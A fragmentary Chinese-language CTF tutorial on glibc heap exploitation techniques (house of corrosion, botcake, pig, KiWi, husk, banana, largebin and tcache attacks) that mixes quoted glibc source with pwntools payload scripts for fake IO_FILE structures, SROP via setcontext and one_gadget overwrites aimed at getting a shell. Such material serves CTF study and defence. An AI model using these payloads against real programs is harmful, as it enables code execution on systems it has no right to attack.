(1) 设置_flag &~ _IO_NO_WRITES,即_flag &~ 0x8;
(2) 设置_flag & _IO_CURRENTLY_PUTTING,即_flag | 0x800;
(3) 设置_fileno为1;
(4) 设置_IO_write_base指向想要泄露的地方,_IO_write_ptr指向泄露结束的地址;
(5) 设置_IO_read_end等于_IO_write_base 或 设置_flag & _IO_IS_APPENDING即,_flag | 0x1000。
此外,有一个大前提:需要调用_IO_OVERFLOW()才行,因此需使得需要输出的内容中含有n换行符 或 设置_IO_write_end等于_IO_write_ptr(输出缓冲区无剩余空间)等。
_flags = 0xfbad0000
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
此外,_flags也可再加一些其他无关紧要的部分,如设置为0xfbad1887,0xfbad1880,0xfbad3887等等。
global_max_fast的相关利用 (house of corrosion)
因此,我们需要通过目标地址与fast bin数组的偏移计算出所需free的堆块的size,计算方式如下:
fastbin_ptr = libc_base + libc.symbols['main_arena'] + 8(0x10)
index = (target_addr - fastbin_ptr) / 8
size = index*0x10 + 0x20
也可以利用此方式,修改__free_hook函数(__malloc_hook与__realloc_hook在main_arena的上方),从而getshell,此时需要有UAF漏洞修改__free_hook中的fake fast bin的fd为system_addr或one_gadget(这里不涉及该fd指针指向的堆块的取出,因此不需要伪造size),然后申请出这个fake fast bin,于是__free_hook这里的“伪链表头”将会指向被移出该单链表的fake fast bin的fd字段中的地址,即使得__free_hook中的内容被修改成了system_addr或one_gadget。
需要注意的是,若是用此方法改stdout来泄露相关信息,也可以不改_flags,如假设有漏洞可以修改一个堆块的size,那么可以构造_IO_read_end等于_IO_write_base来进行绕过,具体方式是:改了global_max_fast后,先释放一个需要泄露其中内容的fake fast bin到_IO_read_end(此时,正常走IO指针的输出均会失效,因为过不了_IO_read_end = _IO_write_base的判断,就不会执行_IO_SYSWRITE),然后修改该fake fast bin的size,再将其释放到_IO_write_base处即可。
利用此方法,也可以对libc进行泄露,毕竟在算index的时候,libc_base是被抵消掉的,或者说,是可以泄露在fastbinsY之后的数据。泄露的思想就是:当free时,会把此堆块置入fastbin链表的头部,所以在free后,此堆块的fd位置的内容,就是free前此SIZE的链表头部指针,通过越界就可以读取LIBC上某个位置的内容。
Tricks
以libc-2.23为例:
6C0 push r15 ; Alternative name is '__libc_realloc'
6C2 push r14
6C4 push r13
6C6 push r12
6C8 mov r13, rsi
6CB push rbp
6CC push rbx
6CD mov rbx, rdi
6D0 sub rsp, 38h
6D4 mov rax, cs:__realloc_hook_ptr
6DB mov rax, [rax]
6DE test rax, rax
6E1 jnz loc_848E8
...
此外,fast bin attack的时候,需构造0x70的fast bin的fd指针指向malloc_hook-0x23处,此时fake size域为0x7f,会被当作0x70。
push rdi
lea rsi, [rdi+128h] ; nset
xor edx, edx ; oset
mov edi, 2 ; how
mov r10d, 8 ; sigsetsize
mov eax, 0Eh
syscall ; LINUX - sys_rt_sigprocmask
pop rdi
cmp rax, 0FFFFFFFFFFFFF001h
jnb short loc_520F0
mov rcx, [rdi+0E0h]
fldenv byte ptr [rcx]
ldmxcsr dword ptr [rdi+1C0h]
mov rsp, [rdi+0A0h] ; setcontext+53
mov rbx, [rdi+80h]
mov rbp, [rdi+78h]
mov r12, [rdi+48h]
mov r13, [rdi+50h]
mov r14, [rdi+58h]
mov r15, [rdi+60h]
mov rcx, [rdi+0A8h]
push rcx
mov rsi, [rdi+70h]
mov rdx, [rdi+88h]
mov rcx, [rdi+98h]
mov r8, [rdi+28h]
mov r9, [rdi+30h]
mov rdi, [rdi+68h]
xor eax, eax
retn
利用pwntools带的SigreturnFrame(),可以方便的构造出setcontext执行时对应的调用区域,实现对寄存器的控制,从而实现函数调用或orw调用,具体如下:
# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rsp = ...
frame.rip = ...
...
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
if (nloaded == 0
#ifdef SHARED
GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
__rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock));
GL(dl_rtld_lock_recursive) (&(NAME).mutex)
需要注意的是,_rtld_global结构位于ld.so中 ( ld.sym['_rtld_global'] ),而libc_base与ld_base又有固定的差值,如在2.27中有libc_base+0x3f1000=ld_base,此时dl_rtld_lock_recursive于_rtld_global的偏移是0xf00,dl_rtld_unlock_recursive于_rtld_global的偏移是0xf08,最终修改dl_rtld_lock_recursive还是dl_rtld_unlock_recursive为one_gadget视情况而定,需要满足one_gadget的条件才行。
此外,由源码可知,若是有两次修改机会,可以将dl_rtld_lock_recursive或dl_rtld_unlock_recursive函数指针改成system的地址,然后在_rtld_global.dl_load_lock.mutex(相对于_rtld_global偏移0x908)的地址中写入/bin/shx00,即可getshell。
在libc中,还有一个更为方便的exit hook,就是__libc_atexit这个函数指针,从exit.c的源码中可以看到:
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
...
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
...
void exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
这个__libc_atexit有一个极大的优点,就是它在libc而非ld中,随远程环境的改变,不会有变化。缺点就是,它是无参调用的hook,传不了/bin/sh的参数,one_gadget不一定都能打通。
三
高版本glibc下的利用
house of botcake
然而,当有UAF漏洞的时候,可以用house of botcake来绕过key的检测,达到任意写的目的。需要注意的是,在2.30版本后,从tcache取出堆块的时候,会先判断对应的count是否为0,如果已经减为0,即使该tcache bin中仍有被伪造的地址,也无法被取出。
流程如下:
1、先将tcache bin填满(大小要大于0x80)。
2、再连续free两个连着的堆块(A在B的上方,A不能进入tcache bin 且 B的大小要与第一步tcache bin中的相等),使其合并后进入unsorted bin。
3、从tcache bin中取出一个堆块,空出一个位置。
4、将Chunk B利用UAF漏洞,再次释放到tcache bin中,并申请回unsorted bin中的Chunk A & B合并的大堆块(部分),修改Chunk B的next指针指向任意地址,并申请到任意地址的控制权。
off by one (null)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
这个检测很好绕过,只需要将“即将脱链”的堆块在之前就真的free一次,让它进入list,也就会在其next chunk的prev_size域留下它的size了。
在2.29版本以后,在unlink时,增加了判断触发unlink的chunk的prev_size域和即将脱链的chunk的size域是否一致的检测:
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
我们现在从这个largebin + 0x10的位置开始伪造一个fake chunk,也就是将原本的fd_nextsize和bk_nextsize当成fake chunk的fd和bk,而我们最终也是要将触发unlink的堆块和这个fake chunk合并,造成堆叠。
如此,我们很好控制fake chunk的size等于触发堆块的prev_size了,不过在此情况下又要绕过unlink的一个经典检测了,即检测每个即将脱链的堆块的fd的bk和bk的fd是否都指向其本身:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
下面来看一下具体的实现操作:
add(0xbe0, b'n') # 48 => largebin's addr is 0x.....000
for i in range(7): # 49~55 tcache
add(0x20, b'n')
add(0xa20, b'n') # 56 (large bin)
add(0x10, b'n') # 57 separate #56 from top chunk
delete(56) # 56 -> unsorted bin
add(0xff0, b'n') # 56 old_56 -> large bin
add(0x20, p64(0) + p64(0x521) + b'x30') # 58 create the fake chunk and change it's fd (largebin's fd_nextsize) to point to the chunk #59
add(0x20, b'n') # 59
add(0x20, b'n') # 60
add(0x20, b'n') # 61
add(0x20, b'n') # 62
for i in range(49, 56): # fill the tcache bin
delete(i)
delete(61) # 61 -> fastbin
delete(59) # 59 -> fastbin
for i in range(7): # 49~55
add(0x20, b'n')
add(0x400, b'n') # 59 apply for a largebin to trigger malloc_consolidate() to push #59 & #61 into the smallbin (reverse)
# smallbin : #61 <-> #59 (old, the fake chunk's next chunk)
add(0x20, p64(0) + b'x10') # 61 change old chunk #59's bk to point to the fake chunk
# until now, satisify : the fake chunk's fd->bk points to itself
add(0x20, b'n') # 63 clear the list of the smallbin
按照之前的分析,需要在fake chunk的prev_size位填入fake chunk的地址,仍然需要部分写入的方法,也就要求fake chunk的prev_size位原先就是一个fake chunk的临近堆地址。
我们只需要将原先largebin的头部被分割出来的一个小堆块和另外一个fake chunk的临近堆块均放入fastbin中,这样largebin头部小堆块的fd,也就是fake chunk的prev_size位就会被填入一个fake chunk的临近堆地址,再申请出来进行部分写入,使其为fake chunk的地址即可。
# fake chunk's bk (large bin's bk_nextsize) point to largebin
# fake chunk's bk->fd is largebin+0x10 (fake chunk's prev_size)
for i in range(49, 56): # fill the tcache bin
delete(i)
delete(62) # -> fastbin
delete(58) # -> fastbin (the head of largebin)
# if push #62 & #58 into tcache bin, their size will be covered with tcache's key
for i in range(7): # 49~55
add(0x20, b'n')
add(0x20, b'x10') # 58 change the fake chunk's prev_size to the address of itself
add(0x20, b'n') # 62
# until now, satisify : the fake chunk's bk->fd points to itself
add(0x28, b'n')
add(0x4f0, b'n')
delete(64)
add(0x28, p64(0)*4 + p64(0x520))
delete(65)
堆块1 (利用堆块的fd)
阻隔堆块
辅助堆块(0x420) => 重分配堆块1(0x440,修改size)
利用堆块(0x440) => 重分配堆块2(0x420,辅助堆块)
阻隔堆块
堆块2 (利用堆块的bk)
阻隔堆块
create(0x418) # 0 (chunk M)
create(0x108) # 1
create(0x418) # 2 (chunk T)
create(0x438) # 3 (chunk X, 0x...c00)
create(0x108) # 4
create(0x428) # 5 (chunk N)
create(0x108) # 6
delete(0)
delete(3)
delete(5)
# unsorted bin: 5 <-> 3 <-> 0
# chunk X(#3) [ fd: chunk M(#0) bk: chunk N(#5) ]
delete(2) # chunk T & chunk X unlink and merge
create(0x438, b'a'*0x418 + p64(0x1321)) # 0 split and set chunk X's size
create(0x418) # 2 allocate the rest part (0x...c20) as chunk K
create(0x428) # 3 chunk X's bk (chunk N)
create(0x418) # 5 chunk X's fd (chunk M)
再将这个fake chunk->fd堆块申请回来,由于重分配堆块2(辅助堆块)就是fake chunk的临近堆块,所以利用部分写入的方式,就可以修改其bk为fake chunk的地址了(这里仍会涉及到off by null导致后一个字节被覆写为x00,依然需要爆破,下面代码的示例题目是将输入的最后一字节改成x00,因此不需要爆破),最后再申请回重分配堆块2(辅助堆块)。
# let chunk X's fd -> bk (chunk M's bk) point to chunk X (by unsorted bin list)
delete(5)
delete(2)
# unsorted bin : 2 <-> 5 , chunk M's bk points to chunk K (0x...c20)
create(0x418, b'a'*9) # 2 overwrite partially chunk M's bk to 0x...c00 (point to chunk X)
create(0x418) # 5 apply for the chunk K back
# let chunk X's bk -> fd (chunk N's fd) point to chunk X (by large bin list)
delete(5)
delete(3)
# unsorted bin : 3 <-> 5 , chunk N's fd points to chunk K (0x...c20)
# can not overwrite partially chunk N's fd points to chunk X in the unsorted bin list directly
# because applying for the size of chunk N(#3) will let chunk K(#5) break away from the unsorted bin list
# otherwise, chunk N's fd will be changed to main_arena+96
create(0x448) # 3 let chunks be removed to the large bin
# large bin : old 3 <-> old 5
create(0x438) # 5
create(0x4f8) # 7
create(0x428, b'a') # 8 overwrite partially chunk N's fd to 0x...c00 (point to chunk X)
create(0x418) # 9 apply for the chunk K back
# off by null
modify(5, b'a' * 0x430 + p64(0x1320)) # set prev_size and change prev_inuse (0x501 -> 0x500)
create(0x108) # 10
delete(7) # unlink
largebin attack
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
然而,从glibc 2.30开始,常规large bin attack方法也被封堵,加入了判断bk_nextsize->fd_nextsize是否指向本身:
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
而在加入堆块的size小于largebin list中原有堆块的size时的分支中,仍然是可以利用的,不过相对于旧版可以任意写两个地址,到这里只能任意写一个地址了:
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize; // 1
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 2
}
else
...
Tcache Struct的劫持与溢出
首先简单介绍一下Tcache Struct:
在2.30版本以下:
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
Tcache Struct的counts数组中每个元素代表其对应大小的tcache bin目前在tcache中的个数,而entries数组中的地址指向其对应大小的tcache bin所在的单链表中头部的tcache bin。
在2.30以下,在从tcache struct取出内容的时候不会检查counts的大小,从而我们只需要修改我们想要申请的size对应的链表头部位置,即可申请到。而在2.30及以上版本的libc,则需要考虑对应counts的大小要大于0,才能取出。
对于劫持Tcache Struct,有两种方式,一种就是直接劫持Tcache Struct的堆块,对其中的数据进行伪造,另外一种就是劫持TLS结构中的tcache pointer,其指向Tcache Struct,将其改写,即可改为指向一个伪造的fake Tcache Struct。
对于Tcache Struct的溢出,先往mp_.tcache_bins写入一个大数值,这样就类似于改global_max_fast一样,我们之后free的堆块,都会被放入tcache中,而Tcache Struct中的某些counts和entries数组都会溢出到我们可控的堆区域中,但是利用此方法,需要对堆块的布局格外留心,防止出现一些不合法的情况从而报错。
glibc 2.32 在 tcache 和 fastbin 上新增的保护及绕过方法
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
PROTECT_PTR操作就是先对pos(fd/next域的堆块地址)右移了12位(去除了末三位信息),再将与原先的指针(在此版本之前fd/next储存的内容)异或得到的结果存入fd/next。由异或的自反性,解密只需PROTECT_PTR (&ptr, ptr)即可。
值得一提的是,当fastbin/tcache中只有一个chunk的时候,它的fd/next为零,而零异或pos>>12就是pos>>12,因此可以通过这样的堆块泄露pos>>12(密钥)的值,当然还可以通过泄露heap_base来得到pos>>12(密钥)的值,每在0x1000范围内,堆块的密钥都一样。
main_arena的劫持
我们知道,在fastbin attack中常常需要伪造堆块的size,因为当堆块从fastbin中取出时,会检查其size是否匹配。在libc 2.27以上的main_arena中,有一项have_fastchunks,当其中fastbin中有堆块时,这一项将会置为1,而这一项又在main_arena中所有重要信息的上方,又have_fastchunks在main_arena + 8的位置,若是have_fastchunks = 1,则可以通过fastbin attack,将其中一个chunk的fd改为main_arena - 1的地址,即可伪造出一个size为0x100的堆块,但是0x100这个大小已经超过了默认的global_max_fast的大小0x80,因此需要先将global_max_fast改为一个大数值,才能够劫持到main_arena。
house of pig (PLUS)
int _IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size); // 1
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen); // 2
free (old_buf); // 3
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '', new_size - old_blen); // 4
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
可以看到注释的1,2,3处连续调用了malloc,memcpy,free,在2.34以前,有__free_hook的存在,所以不难想到:先在某个bin list里伪造一个与__free_hook有关的堆块地址,然后用这里的malloc申请出来,再通过memcpy往__free_hook里面任意写system,最后在调用free之前先调用了__free_hook,此时rdi是old_buf = fp->_IO_buf_base,也是我们伪造IO_FILE时可控的,直接将其改为/bin/sh即可getshell。
比如说,先利用tcache stashing unlink attack或者劫持TLS中的tcache pointer等方式,在0xa0的tcache bin中伪造一个__free_hook - 0x10在链首,然后伪造IO_FILE如下:
fake_IO_FILE = p64(0)*3 + p64(0xffffffffffffffff) # set _IO_write_ptr
# fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base
fake_IO_FILE += p64(0) + p64(fake_IO_FILE_addr + 0xe0) + p64(fake_IO_FILE_addr + 0xf8)
# set _IO_buf_base & _IO_buf_end old_blen = 0x18
fake_IO_FILE = payload.ljust(0xc8, b'x00')
fake_IO_FILE += p64(get_IO_str_jumps())
fake_IO_FILE += b'/bin/shx00' + p64(0) + p64(libc.sym['system'])
在2.34以后,__free_hook,__malloc_hook,__realloc_hook这些函数指针都被删除了,house of pig的利用看似也就无法再使用了,但是我们注意到上面源码的注释4处,调用了memset,在libc中也是有got表的,并且可写,而这里的memset在IDA中可以看到是j_memset_ifunc(),这种都是通过got表调用的,因此我们可以把原先house of pig的改写__free_hook转为改写memset在libc中的got表。
先在0xa0的tcache链表头伪造一个memset_got_addr的地址,并伪造IO_FILE如下:
# magic_gadget:mov rdx, rbx ; mov rsi, r12 ; call qword ptr [r14 + 0x38]
fake_stderr = p64(0)*3 + p64(0xffffffffffffffff) # _IO_write_ptr
fake_stderr += p64(0) + p64(fake_stderr_addr+0xf0) + p64(fake_stderr_addr+0x108)
fake_stderr = fake_stderr.ljust(0x78, b'x00')
fake_stderr += p64(libc.sym['_IO_stdfile_2_lock']) # _lock
fake_stderr = fake_stderr.ljust(0x90, b'x00') # srop
fake_stderr += p64(rop_address + 0x10) + p64(ret_addr) # rsp rip
fake_stderr = fake_stderr.ljust(0xc8, b'x00')
fake_stderr += p64(libc.sym['_IO_str_jumps'] - 0x20)
fake_stderr += p64(0) + p64(0x21)
fake_stderr += p64(magic_gadget) + p64(0) # r14 r14+8
fake_stderr += p64(0) + p64(0x21) + p64(0)*3
fake_stderr += p64(libc.sym['setcontext']+61) # r14 + 0x38
house of KiWi
// assert.h
(static_cast <bool> (expr)
? void (0)
: __assert_fail (
((expr)
? __ASSERT_VOID_CAST (0)
: __assert_fail (
((void) sizeof ((expr) ? 1 : 0), __extension__ ({
if (expr)
; /* empty */
else
__assert_fail (
}))
// malloc.c ( #include <assert.h> )
__malloc_assert(assertion, file, line, function)
static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
开了沙盒需要orw的题目,经常使用setcontext控制rsp,进而跳转过去调用ROP链,而在2.29版本以上setcontext中的参数也由rdi变为rdx了,起始位置也从setcontext+53变为了setcontext+61(2.29版本有些特殊,仍然是setcontext+53起始,但是控制的寄存器已经变成了rdx),rdx显然没有rdi好控制,然而house of KiWi恰好能帮助我们控制rdx。
下面的问题就在于如何触发assert的断言出错,通常有以下几种方式:
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
#define NON_MAIN_ARENA 0x4
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
高版本下开了沙盒的orw方法:
1、通过gadget做到类似于栈迁移的效果,然后走ROP链,打orw。
2、通过setcontext + 61,控制寄存器rdx。
(1)可以找gadget,使rdi或其他寄存器与rdx之间进行转换
(2)通过改__malloc_hook为setcontext + 61,劫持IO_FILE(多是stdin),将vtable改成_IO_str_jumps的地址,最后通过exit,会走到_IO_str_overflow函数,其中有malloc函数触发__malloc_hook,此时的rdx就是_IO_write_ptr中的值,所以直接使_IO_write_ptr = SROP_addr即可。
3、house of KiWi。
4、其他IO的劫持。
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
mov rdx, qword ptr [rdi + 8]
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20]
可按如下方式构造payload:
SROP_addr = libc_base + libc.sym['_IO_2_1_stdin_'] + 0xe0
payload = p64(0)*5 + p64(SROP_addr) # _IO_write_ptr
payload = payload.ljust(0xd8, b'x00') + p64(libc_base + get_IO_str_jumps_offset())
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x200
frame.rsp = address + 8
frame.rip = libc_base + libc.sym['read']
payload += bytes(frame)
payload = payload.ljust(0x1f0, b'x00') + p64(libc_base + libc.sym['setcontext'] + 61) # __malloc_hook
关于第四点提到的其他IO劫持,在之后都会提及,比如house of banana,house of emma等等。
house of husk
int __register_printf_function (int spec, printf_function converter,
printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter,
(printf_arginfo_size_function*) arginfo);
}
int __register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
// 为格式化字符spec注册函数指针
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
在vfprintf函数中,如果检测到__printf_function_table不为空,则对于格式化字符不走默认的输出函数,而是调用printf_positional函数,进而可以调用到表中的函数指针:
// vfprintf-internal.c : 1412
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
// vfprintf-internal.c : 1682
do_positional:
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep, mode_flags);
// vfprintf-internal.c : 1962
if (spec <= UCHAR_MAX
&& __printf_function_table != NULL
&& __printf_function_table[(size_t) spec] != NULL)
{
const void **ptr = alloca (specs[nspecs_done].ndata_args
* sizeof (const void *));
/* Fill in an array of pointers to the argument values. */
for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];
/* Call the function. */
function_done = __printf_function_table[(size_t) spec](s, &specs[nspecs_done].info, ptr); // 调用__printf_function_table中的函数指针
if (function_done != -2)
{
/* If an error occurred we don't have information
about # of chars. */
if (function_done < 0)
{
/* Function has set errno. */
done = -1;
goto all_done;
}
done_add (function_done);
break;
}
}
// vfprintf-internal.c : 1763
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
// printf-parsemb.c (__parse_one_specmb函数)
/* Get the format specification. */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL // 判断是否为空
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) // 调用__printf_arginfo_table中的函数指针
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
/* Find the data argument types of a built-in spec. */
spec->ndata_args = 1;
one_gadget = libc.address + 0xe6c7e
edit(8, p64(0)*(ord('s') - 2) + p64(one_gadget))
one_gadget = libc.address + 0xe6ed8
edit(4, p64(0)*(ord('s') - 2) + p64(one_gadget))
house of banana
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;
// link_map中l_info的定义
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i]; // link_map结构体指针l
if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
.............
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); // 调用了函数指针
}
...
}
...
}
...
}
struct link_map
{
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
/* All following members are internal to the dynamic linker.
They may change without notice. */
/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;
......
};
p _rtld_global
{ =
_dl_ns = {{
_ns_loaded = 0x7ffff7ffe190,
_ns_nloaded = 4,
......
pwndbg> p *(struct link_map*) 0x7ffff7ffe190
$2 = {
l_addr = 93824990838784,
l_name = 0x7ffff7ffe730 "",
l_ld = 0x555555601d90,
l_next = 0x7ffff7ffe740,
l_prev = 0x0,
l_real = 0x7ffff7ffe190,
......
伪造link_map的时候,首先就需要注意几个地方:将l_next需要还原,这样之后的link_map就不需要我们再重新伪造了;将l_real设置为自己伪造的link_map堆块地址,这样才能绕过检查。
之后,我们再回到_dl_fini.c中的源码,看看如何利用house of banana进行攻击。
首先,再最外层判断中,需要使l->l_init_called为真,因此需要对l_init_called进行一个伪造。
再之后就是array = (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);,这里需要伪造link_map中的l_addr(这里在已经伪造的link_map的堆块头,需要通过其上一个堆块溢出或是合并后重分配进行修改),以及l->l_info[26]->d_un.d_ptr,也就是l->l_info[27],使其相加的结果为函数指针的基地址。
调用函数指针的次数i由i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)))控制,其中#define DT_FINI_ARRAYSZ 28,sizeof (ElfW(Addr)) = 8,因此i = l->l_info[29] / 8。
这里每次调用的函数指针都为上一个的地址减8,直到最后调用函数指针的基地址array,而每一次调用函数指针,其rdx均为上一次调用的函数指针的地址,由此我们可以轻松地通过setcontext + 61布置SROP,跳转执行ROP链。
构造代码如下:
pwndbg> p *(struct link_map*) 0x7ffff7ffe190
$2 = {
l_addr = 93824990838784,
l_name = 0x7ffff7ffe730 "",
l_ld = 0x555555601d90,
l_next = 0x7ffff7ffe740,
l_prev = 0x0,
l_real = 0x7ffff7ffe190,
......
劫持tls_dtor_list,利用__call_tls_dtors拿到权限
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
static __thread struct dtor_list *tls_dtor_list;
再看到__call_tls_dtors函数(对tls_dtor_list进行遍历):
void __call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
PTR_DEMANGLE (func);
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
很显然,若我们可以劫持tls_dtor_list,在其中写入我们伪造的堆地址,使其不为空(绕过while (tls_dtor_list)),就能执行到func (cur->obj),而我们又可以控制伪造的堆块中prev_size域为system的相关数据(由于有指针保护,之后会讲),size域为/bin/sh的地址(通过上一个堆块的溢出或合并后重分配),这样就能getshell了,若是想orw,那么可以让func成员为magic_gadget的相关数据,将rdi与rdx转换后,再调用setcontext + 61走SROP即可。
需要注意的是,在调用func函数指针之前,对func执行了PTR_DEMANGLE (func),这是一个指针保护,我们可以通过gdb直接看到其汇编:
ror rax,0x11
